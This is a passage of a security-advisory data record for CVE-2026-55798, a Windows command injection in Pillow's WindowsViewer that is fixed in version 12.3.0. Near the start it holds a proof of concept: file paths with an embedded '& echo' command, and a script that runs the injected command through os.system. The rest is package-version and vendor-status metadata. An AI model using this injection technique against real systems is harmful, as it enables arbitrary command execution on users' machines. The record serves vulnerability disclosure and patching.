`shell=True`? | Safe? |\n|----------|----------------|------------------|---------------|-------|\n| macOS    | `MacViewer`    | **Yes** (line 168) | No (list args) | ✅ Yes |\n| Linux    | `UnixViewer`   | **Yes** (line 207) | No (list args) | ✅ Yes |\n| Windows  | `WindowsViewer`| **No** (line 134–137) | **Yes** (line 148) | ❌ No |\n\n`shlex.quote` is imported on line 21. Its omission from the Windows path is a clear\noversight, not a deliberate design choice.\n\n---\n### 3. Proof of Concept\n\nA full working PoC is at `poc_pillow_injection.py`. Key parts:\n\n**Part A — Injection string construction (static, no execution):**\n```python\nfrom PIL.ImageShow import WindowsViewer\n\nviewer = WindowsViewer()\nevil_path = r'C:\\Temp\\evil\" & echo PWNED & echo \"'\ncmd = viewer.get_command(evil_path)\nprint(cmd)\n# Output:\n# start \"Pillow\" /WAIT \"C:\\Temp\\evil\" & echo PWNED & echo \"\" && ping ...\n# ┌─ start \"Pillow\" /WAIT \"C:\\Temp\\evil\"   → fails (file not found)\n# ├─ & echo PWNED                           → INJECTED COMMAND\n# └─ & echo \"\"  && ping ...                → continues\n```\n\n**Part B — Live execution via `os.system()` (verified on Windows 11, Pillow 12.1.1):**\n```python\nimport os, tempfile\nfrom PIL.ImageShow import WindowsViewer\n\nviewer = WindowsViewer()\npoc_dir = tempfile.mkdtemp()\nmarker  = os.path.join(poc_dir, \"INJECTION_CONFIRMED.txt\")\n\n# Craft injection: payload writes a marker file (harmless)\npayload   = f'echo REAL_INJECTED > \"{marker}\"'\nevil_path = os.path.join(poc_dir, f'poc\" & {payload} & echo \"')\n\n# Call the REAL Pillow get_command():\nreal_cmd = viewer.get_command(evil_path)\n\n# Execute the same way the base Viewer.show_file() does (os.system):\nos.system(real_cmd)\n\nassert os.path.exists(marker)                          # PASSES — marker was created\nassert \"REAL_INJECTED\" in open(marker).read()          # PASSES\n# → CONFIRMED: arbitrary command injection via get_command()\n```\n\n---","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L","source":"GHSA-4x4j-2g7c-83w6"}],"affected":[{"ecosystem":"PyPI","package":"pillow","purl":"pkg:pypi/pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"versions":["1.0","1.1","1.2","1.3","1.4","1.5","1.6","1.7.0","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.7.7","1.7.8","10.0.0","10.0.1","10.1.0","10.2.0","10.3.0","10.4.0","11.0.0","11.1.0","11.2.1","11.3.0","12.0.0","12.1.0","12.1.1","12.2.0","2.0.0","2.1.0","2.2.0","2.2.1","2.2.2","2.3.0","2.3.1","2.3.2","2.4.0","2.5.0","2.5.1","2.5.2","2.5.3","2.6.0","2.6.1","2.6.2","2.7.0","2.8.0","2.8.1","2.8.2","2.9.0","3.0.0","3.1.0","3.1.0.rc1","3.1.0rc1","3.1.1","3.1.2","3.2.0","3.3.0","3.3.1","3.3.2","3.3.3","3.4.0","3.4.1","3.4.2","4.0.0","4.1.0","4.1.1","4.2.0","4.2.1","4.3.0","5.0.0","5.1.0","5.2.0","5.3.0","5.4.0","5.4.0.dev0","5.4.1","6.0.0","6.1.0","6.2.0","6.2.1","6.2.2","7.0.0","7.1.0","7.1.1","7.1.2","7.2.0","8.0.0","8.0.1","8.1.0","8.1.1","8.1.2","8.2.0","8.3.0","8.3.1","8.3.2","8.4.0","9.0.0","9.0.1","9.1.0","9.1.1","9.2.0","9.3.0","9.4.0","9.5.0"],"fixed":["12.3.0"],"provider":"osv","source":"GHSA-4x4j-2g7c-83w6","relation":"self"}],"product_status":[],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-4x4j-2g7c-83w6"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55798"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/8404ea5fe5df40fc34aa1e51403dd6fce0778b8a"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/88194166691b7b603529b8b036ab3ab9cedd2de4"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/b0e06caa64c1405aa3da0bb1d2bd9a77ca22de7f"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2257.yaml"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst"}]},{"provider":"osv","source_id":"PYSEC-2026-2257","relation":"self","url":"https://osv.dev/vulnerability/PYSEC-2026-2257","license":"CC-BY-4.0","published_at":"2026-07-06T19:17:08.83Z","modified_at":"2026-07-13T07:26:48.229039Z","details":"Pillow is a Python imaging library. Prior to 12.3.0, WindowsViewer.get_command() constructed a cmd.exe shell command by directly embedding a file path into an f-string without escaping and passed the result to subprocess.Popen(..., shell=True), allowing shell metacharacters in the file path to inject arbitrary cmd.exe commands. This issue is fixed in version 12.3.0.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L","source":"PYSEC-2026-2257"}],"affected":[{"ecosystem":"PyPI","package":"pillow","purl":"pkg:pypi/pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"versions":["1.0","1.1","1.2","1.3","1.4","1.5","1.6","1.7.0","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.7.7","1.7.8","10.0.0","10.0.1","10.1.0","10.2.0","10.3.0","10.4.0","11.0.0","11.1.0","11.2.1","11.3.0","12.0.0","12.1.0","12.1.1","12.2.0","2.0.0","2.1.0","2.2.0","2.2.1","2.2.2","2.3.0","2.3.1","2.3.2","2.4.0","2.5.0","2.5.1","2.5.2","2.5.3","2.6.0","2.6.1","2.6.2","2.7.0","2.8.0","2.8.1","2.8.2","2.9.0","3.0.0","3.1.0","3.1.0.rc1","3.1.0rc1","3.1.1","3.1.2","3.2.0","3.3.0","3.3.1","3.3.2","3.3.3","3.4.0","3.4.1","3.4.2","4.0.0","4.1.0","4.1.1","4.2.0","4.2.1","4.3.0","5.0.0","5.1.0","5.2.0","5.3.0","5.4.0","5.4.0.dev0","5.4.1","6.0.0","6.1.0","6.2.0","6.2.1","6.2.2","7.0.0","7.1.0","7.1.1","7.1.2","7.2.0","8.0.0","8.0.1","8.1.0","8.1.1","8.1.2","8.2.0","8.3.0","8.3.1","8.3.2","8.4.0","9.0.0","9.0.1","9.1.0","9.1.1","9.2.0","9.3.0","9.4.0","9.5.0"],"fixed":["12.3.0"],"provider":"osv","source":"PYSEC-2026-2257","relation":"self"}],"product_status":[],"references":[{"type":"ADVISORY","url":"https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst"},{"type":"FIX","url":"https://github.com/python-pillow/Pillow/commit/8404ea5fe5df40fc34aa1e51403dd6fce0778b8a"},{"type":"FIX","url":"https://github.com/python-pillow/Pillow/commit/88194166691b7b603529b8b036ab3ab9cedd2de4"},{"type":"FIX","url":"https://github.com/python-pillow/Pillow/commit/b0e06caa64c1405aa3da0bb1d2bd9a77ca22de7f"},{"type":"EVIDENCE","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-4x4j-2g7c-83w6"}]},{"provider":"osv","source_id":"UBUNTU-CVE-2026-55798","relation":"self","url":"https://osv.dev/vulnerability/UBUNTU-CVE-2026-55798","license":"CC-BY-SA-4.0","published_at":"2026-07-06T19:17:00Z","modified_at":"2026-09-21T21:39:46.91445Z","withdrawn_at":"2026-09-21T18:42:05Z","details":"Pillow is a Python imaging library. Prior to 12.3.0, WindowsViewer.get_command() constructed a cmd.exe shell command by directly embedding a file path into an f-string without escaping and passed the result to subprocess.Popen(..., shell=True), allowing shell metacharacters in the file path to inject arbitrary cmd.exe commands. This issue is fixed in version 12.3.0.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L","source":"UBUNTU-CVE-2026-55798"},{"type":"Ubuntu","score":"medium","source":"UBUNTU-CVE-2026-55798"}],"affected":[{"ecosystem":"Ubuntu:22.04:LTS","package":"pillow","purl":"pkg:deb/ubuntu/pillow?arch=source&distro=jammy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["8.1.2+dfsg-0.3","9.0.0-1","9.0.1-1","9.0.1-1build1","9.0.1-1ubuntu0.1","9.0.1-1ubuntu0.2","9.0.1-1ubuntu0.3","9.0.1-1ubuntu0.4","9.0.1-1ubuntu0.5"],"provider":"osv","source":"UBUNTU-CVE-2026-55798","relation":"self"},{"ecosystem":"Ubuntu:24.04:LTS","package":"pillow","purl":"pkg:deb/ubuntu/pillow?arch=source&distro=noble","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["10.0.0-1","10.1.0-1","10.2.0-1","10.2.0-1build1","10.2.0-1ubuntu1","10.2.0-1ubuntu1.2","10.2.0-1ubuntu1.3"],"provider":"osv","source":"UBUNTU-CVE-2026-55798","relation":"self"},{"ecosystem":"Ubuntu:25.10","package":"pillow","purl":"pkg:deb/ubuntu/pillow?arch=source&distro=questing","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["11.1.0-5build1","11.3.0-1ubuntu1","11.3.0-1ubuntu1.1","11.3.0-1ubuntu1.2","11.3.0-1ubuntu1.3"],"provider":"osv","source":"UBUNTU-CVE-2026-55798","relation":"self"},{"ecosystem":"Ubuntu:26.04:LTS","package":"pillow","purl":"pkg:deb/ubuntu/pillow?arch=source&distro=resolute","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["11.3.0-1ubuntu1","11.3.0-1ubuntu2","12.0.0-1ubuntu1","12.1.1-1ubuntu1","12.1.1-2ubuntu1","12.1.1-2ubuntu1.1","12.1.1-2ubuntu1.2","12.1.1-2ubuntu1.3"],"provider":"osv","source":"UBUNTU-CVE-2026-55798","relation":"self"},{"ecosystem":"Ubuntu:Pro:14.04:LTS","package":"pillow","purl":"pkg:deb/ubuntu/pillow?arch=source&distro=esm-infra-legacy%2Ftrusty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.2.1-1ubuntu2","2.2.1-2ubuntu1","2.2.1-3ubuntu2","2.2.1-3ubuntu3","2.2.1-3ubuntu4","2.2.1-3ubuntu6","2.3.0-1ubuntu1","2.3.0-1ubuntu2","2.3.0-1ubuntu3","2.3.0-1ubuntu3.2","2.3.0-1ubuntu3.3","2.3.0-1ubuntu3.4","2.3.0-1ubuntu3.4+esm1","2.3.0-1ubuntu3.4+esm2","2.3.0-1ubuntu3.4+esm3","2.3.0-1ubuntu3.4+esm4","2.3.0-1ubuntu3.4+esm5"],"provider":"osv","source":"UBUNTU-CVE-2026-55798","relation":"self"},{"ecosystem":"Ubuntu:Pro:16.04:LTS","package":"pillow","purl":"pkg:deb/ubuntu/pillow?arch=source&distro=esm-infra%2Fxenial","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.9.0-1","3.0.0-1","3.0.0-1build1","3.1.0-1","3.1.1-1","3.1.2-0ubuntu1","3.1.2-0ubuntu1.1","3.1.2-0ubuntu1.3","3.1.2-0ubuntu1.4","3.1.2-0ubuntu1.5","3.1.2-0ubuntu1.6","3.1.2-0ubuntu1.6+esm1","3.1.2-0ubuntu1.6+esm2","3.1.2-0ubuntu1.6+esm3"],"provider":"osv","source":"UBUNTU-CVE-2026-55798","relation":"self"},{"ecosystem":"Ubuntu:Pro:18.04:LTS","package":"pillow","purl":"pkg:deb/ubuntu/pillow?arch=source&distro=esm-infra%2Fbionic","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["4.1.1-3build2","4.3.0-2ubuntu1","5.0.0-1","5.1.0-1","5.1.0-1ubuntu0.2","5.1.0-1ubuntu0.3","5.1.0-1ubuntu0.4","5.1.0-1ubuntu0.5","5.1.0-1ubuntu0.6","5.1.0-1ubuntu0.7","5.1.0-1ubuntu0.8","5.1.0-1ubuntu0.8+esm1","5.1.0-1ubuntu0.8+esm2"],"provider":"osv","source":"UBUNTU-CVE-2026-55798","relation":"self"},{"ecosystem":"Ubuntu:Pro:20.04:LTS","package":"pillow","purl":"pkg:deb/ubuntu/pillow?arch=source&distro=esm-infra%2Ffocal","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.1.0-1","6.1.0-1build1","6.2.1-2","7.0.0-4","7.0.0-4build1","7.0.0-4ubuntu0.1","7.0.0-4ubuntu0.2","7.0.0-4ubuntu0.3","7.0.0-4ubuntu0.4","7.0.0-4ubuntu0.5","7.0.0-4ubuntu0.6","7.0.0-4ubuntu0.7","7.0.0-4ubuntu0.8","7.0.0-4ubuntu0.9","7.0.0-4ubuntu0.9+esm1"],"provider":"osv","source":"UBUNTU-CVE-2026-55798","relation":"self"},{"ecosystem":"Ubuntu:Pro:20.04:LTS","package":"pillow-python2","purl":"pkg:deb/ubuntu/pillow-python2?arch=source&distro=esm-apps%2Ffocal","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.2.1-3~build1","6.2.1-3","6.2.1-3ubuntu0.1~esm1","6.2.1-3ubuntu0.1~esm2"],"provider":"osv","source":"UBUNTU-CVE-2026-55798","relation":"self"}],"product_status":[],"references":[{"type":"REPORT","url":"https://ubuntu.com/security/CVE-2026-55798"},{"type":"REPORT","url":"https://www.cve.org/CVERecord?id=CVE-2026-55798"},{"type":"REPORT","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-4x4j-2g7c-83w6"},{"type":"REPORT","url":"https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst"},{"type":"REPORT","url":"https://github.com/python-pillow/Pillow/commit/8404ea5fe5df40fc34aa1e51403dd6fce0778b8a"},{"type":"REPORT","url":"https://github.com/python-pillow/Pillow/commit/88194166691b7b603529b8b036ab3ab9cedd2de4"},{"type":"REPORT","url":"https://github.com/python-pillow/Pillow/commit/b0e06caa64c1405aa3da0bb1d2bd9a77ca22de7f"}]},{"provider":"redhat-vex","source_id":"CVE-2026-55798","relation":"self","url":"https://access.redhat.com/security/cve/CVE-2026-55798","license":"CC-BY-4.0","published_at":"2026-07-06T18:44:38.441Z","modified_at":"2026-07-08T11:05:38Z","summary":"python-pillow: Pillow: Arbitrary command injection via shell metacharacters in file paths","details":"A flaw was found in Pillow, a Python imaging library. The `WindowsViewer.get_command()` function constructed a command-line interface (CLI) shell command by directly embedding a file path without proper escaping. This allowed shell metacharacters within the file path to inject arbitrary commands into `cmd.exe`. An attacker could exploit this to execute unauthorized commands on the system.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L","source":"CVE-2026-55798"},{"type":"Red Hat","score":"Moderate","source":"CVE-2026-55798"}],"affected":[],"product_status":[{"vendor":"Red Hat","product":"Exploit Intelligence","cpe":"cpe:/a:redhat:exploit_intelligence:0","status":"not_affected","packages":["exploit-intelligence-tech-preview/vulnerability-analysis-rhel9"],"package_count":1,"fixed":[],"advisories":[],"note":"vulnerable_code_not_present","provider":"redhat-vex","source":"CVE-2026-55798"},{"vendor":"Red Hat","product":"Lightspeed Core","cpe":"cpe:/a:redhat:lightspeed_core","status":"not_affected","packages":["lightspeed-core/lightspeed-stack-rhel9"],"package_count":1,"fixed":[],"advisories":[],"note":"vulnerable_code_not_present","provider":"redhat-vex","source":"CVE-2026-55798"},{"vendor":"Red Hat","product":"OpenShift Lightspeed","cpe":"cpe:/a:redhat:openshift_lightspeed:1","status":"not_affected","packages":["openshift-lightspeed-tech-preview/lightspeed-rag-tool-rhel9","openshift-lightspeed/lightspeed-ocp-rag-rhel9","openshift-lightspeed/lightspeed-service-api-rhel9"],"package_count":3,"fixed":[],"advisories":[],"note":"vulnerable_code_not_present","provider":"redhat-vex","source":"CVE-2026-55798"},{"vendor":"Red Hat","product":"Red Hat AI Inference Server","cpe":"cpe:/a:redhat:ai_inference_server:3","status":"not_affected","packages":["rhaii/model-opt-cuda-rhel9","rhaii/vllm-cpu-rhel9","rhaii/vllm-cuda-rhel9","rhaii/vllm-gaudi-rhel9","rhaii/vllm-neuron-rhel9","rhaii/vllm-rocm-rhel9","rhaii/vllm-spyre-rhel9","rhaii/vllm-tpu-rhel9","rhaiis/model-opt-cuda-rhel9","rhaiis/vllm-cpu-rhel9","rhaiis/vllm-cuda-rhel9","rhaiis/vllm-neuron-rhel9","rhaiis/vllm-rocm-rhel9","rhaiis/vllm-spyre-rhel9","rhaiis/vllm-tpu-rhel9"],"package_count":15,"fixed":[],"advisories":[],"note":"vulnerable_code_not_present","provider":"redhat-vex","source":"CVE-2026-55798"},{"vendor":"Red Hat","product":"Red Hat Ansible Automation Platform 2","cpe":"cpe:/a:redhat:ansible_automation_platform:2","status":"not_affected","packages":["ansible-automation-platform-25/lightspeed-chatbot-rhel8","ansible-automation-platform-26/hub-rhel9","ansible-automation-platform-26/lightspeed-chatbot-rhel9","ansible-automation-platform-27/hub-rhel9","ansible-automation-platform-27/lightspeed-chatbot-rhel9","ansible-automation-platform/automation-dashboard-rhel9","python-pillow"],"package_count":7,"fixed":[],"advisories":[],"note":"vulnerable_code_not_present","provider":"redhat-vex","source":"CVE-2026-55798"},{"vendor":"Red Hat","product":"Red Hat Enterprise Linux 7","cpe":"cpe:/o:redhat:rhel_els:7","status":"not_affected","packages":["python-pillow","python-pillow-devel","python-pillow-doc","python-pillow-qt","python-pillow-sane","python-pillow-tk"],"package_count":6,"fixed":[],"advisories":[],"note":"vulnerable_code_not_present","provider":"redhat-vex","source":"CVE-2026-55798"},{"vendor":"Red Hat","product":"Red Hat Enterprise Linux 8","cpe":"cpe:/a:redhat:enterprise_linux:8","status":"not_affected","packages":["python-pillow","python3-pillow","python3-pillow-devel","python3-pillow-doc","python3-pillow-tk"],"package_count":5,"fixed":[],"advisories":[],"note":"vulnerable_code_not_present","provider":"redhat-vex","source":"CVE-2026-55798"},{"vendor":"Red Hat","product":"Red Hat Enterprise Linux AI (RHEL AI) 3","cpe":"cpe:/a:redhat:enterprise_linux_ai:3","status":"not_affected","packages":["rhelai3/bootc-aws-cuda-rhel9","rhelai3/bootc-azure-cuda-rhel9","rhelai3/bootc-azure-rocm-rhel9","rhelai3/bootc-cuda-rhel9","rhelai3/bootc-gaudi-rhel9","rhelai3/bootc-gcp-cuda-rhel9","rhelai3/bootc-rocm-rhel9","rhelai3/disk-image-cuda-rhel9"],"package_count":8,"fixed":[],"advisories":[],"note":"vulnerable_code_not_present","provider":"redhat-vex","source":"CVE-2026-55798"},{"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","cpe":"cpe:/a:redhat:openshift_ai","status":"not_affected","packages":["rhoai/odh-automl-rhel9","rhoai/odh-autorag-rhel9","rhoai/odh-caikit-nlp-rhel9","rhoai/odh-caikit-tgis-serving-rhel9","rhoai/odh-kserve-agent-rhel9","rhoai/odh-kserve-autogluon-server-rhel9","rhoai/odh-kserve-controller-rhel9","rhoai/odh-kserve-router-rhel9","rhoai/odh-kserve-storage-initializer-rhel9","rhoai/odh-llama-stack-core-rhel9","rhoai/odh-llm-d-inference-scheduler-rhel9","rhoai/odh-llm-d-kv-cache-rhel9","rhoai/odh-mlflow-rhel9","rhoai/odh-openvino-model-server-rhel9","rhoai/odh-pipeline-runtime-datascience-cpu-py312-rhel9","rhoai/odh-pipeline-runtime-pytorch-cuda-py312-rhel9","rhoai/odh-pipeline-runtime-pytorch-llmcompressor-cuda-py312-rhel9","rhoai/odh-pipeline-runtime-pytorch-rocm-py312-rhel9","rhoai/odh-pipeline-runtime-tensorflow-cuda-py312-rhel9","rhoai/odh-pipeline-runtime-tensorflow-rocm-py312-rhel9","rhoai/odh-th06-cpu-torch210-py312-rhel9","rhoai/odh-th06-cpu-torch291-py312-rhel9","rhoai/odh-th06-cuda130-torch210-py312-rhel9","rhoai/odh-th06-cuda130-torch291-py312-rhel9","rhoai/odh-th06-rocm64-torch291-py312-rhel9"],"package_count":38,"fixed":[],"advisories":[],"note":"vulnerable_code_not_present","provider":"redhat-vex","source":"CVE-2026-55798"},{"vendor":"Red Hat","product":"Red Hat Quay 3","cpe":"cpe:/a:redhat:quay:3","status":"not_affected","packages":["quay/quay-rhel8","quay/quay-rhel9"],"package_count":2,"fixed":[],"advisories":[],"note":"vulnerable_code_not_present","provider":"redhat-vex","source":"CVE-2026-55798"},{"vendor":"Red Hat","product":"Red Hat Satellite 6","cpe":"cpe:/a:redhat:satellite:6","status":"not_affected","packages":["python-pillow"],"package_count":1,"fixed":[],"advisories":[],"note":"vulnerable_code_not_present","provider":"redhat-vex","source":"CVE-2026-55798"}],"references":[{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-55798.json"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-55798"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2497462"},{"type":"WEB","url":"https://www.cve.org/CVERecord?id=CVE-2026-55798"},{"type":"WEB","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55798"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/8404ea5fe5df40fc34aa1e51403dd6fce0778b8a"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/88194166691b7b603529b8b036ab3ab9cedd2de4"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/b0e06caa64c1405aa3da0bb1d2bd9a77ca22de7f"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-4x4j-2g7c-83w6"}]}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-4x4j-2g7c-83w6"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/8404ea5fe5df40fc34aa1e51403dd6fce0778b8a"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/88194166691b7b603529b8b036ab3ab9cedd2de4"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/b0e06caa64c1405aa3da0bb1d2bd9a77ca22de7f"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst"},{"type":"WEB","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55798"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2257.yaml"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"REPORT","url":"https://ubuntu.com/security/CVE-2026-55798"},{"type":"REPORT","url":"https://www.cve.org/CVERecord?id=CVE-2026-55798"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-55798.json"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-55798"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2497462"}],"sources":[{"provider":"osv","source_id":"CLSA-2026-1786515922","url":"https://osv.dev/vulnerability/CLSA-2026-1786515922","modified_at":"2026-11-17T13:30:57.04553Z","relation":"upstream"},{"provider":"osv","source_id":"CLSA-2026-1787718630","url":"https://osv.dev/vulnerability/CLSA-2026-1787718630","modified_at":"2026-11-17T13:30:08.764657Z","relation":"upstream"},{"provider":"osv","source_id":"CLSA-2026-1790674233","url":"https://osv.dev/vulnerability/CLSA-2026-1790674233","modified_at":"2026-11-17T13:31:07.273543Z","relation":"upstream"},{"provider":"cvelistv5","source_id":"CVE-2026-55798","url":"https://www.cve.org/CVERecord?id=CVE-2026-55798","license":"CC-BY-4.0","modified_at":"2026-07-07T15:19:40.072Z","relation":"self"},{"provider":"nvd","source_id":"CVE-2026-55798","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55798","relation":"self"},{"provider":"osv","source_id":"BIT-pillow-2026-55798","url":"https://osv.dev/vulnerability/BIT-pillow-2026-55798","license":"Apache-2.0","modified_at":"2026-09-08T08:48:18.513567Z","relation":"self"},{"provider":"osv","source_id":"CLSA-2026-1787903381","url":"https://osv.dev/vulnerability/CLSA-2026-1787903381","modified_at":"2026-11-17T13:30:40.101152Z","relation":"self"},{"provider":"osv","source_id":"CLSA-2026-1788345043","url":"https://osv.dev/vulnerability/CLSA-2026-1788345043","modified_at":"2026-11-17T13:30:48.227541Z","relation":"self"},{"provider":"osv","source_id":"CLSA-2026-1788863918","url":"https://osv.dev/vulnerability/CLSA-2026-1788863918","modified_at":"2026-11-17T13:30:50.593068Z","relation":"self"},{"provider":"osv","source_id":"GHSA-4x4j-2g7c-83w6","url":"https://osv.dev/vulnerability/GHSA-4x4j-2g7c-83w6","license":"CC-BY-4.0","modified_at":"2026-09-10T03:51:10.324377Z","relation":"self"},{"provider":"osv","source_id":"PYSEC-2026-2257","url":"https://osv.dev/vulnerability/PYSEC-2026-2257","license":"CC-BY-4.0","modified_at":"2026-07-13T07:26:48.229039Z","relation":"self"},{"provider":"osv","source_id":"UBUNTU-CVE-2026-55798","url":"https://osv.dev/vulnerability/UBUNTU-CVE-2026-55798","license":"CC-BY-SA-4.0","modified_at":"2026-09-21T21:39:46.91445Z","relation":"self"},{"provider":"redhat-vex","source_id":"CVE-2026-55798","url":"https://access.redhat.com/security/cve/CVE-2026-55798","license":"CC-BY-4.0","modified_at":"2026-07-08T11:05:38Z","relation":"self"}]}
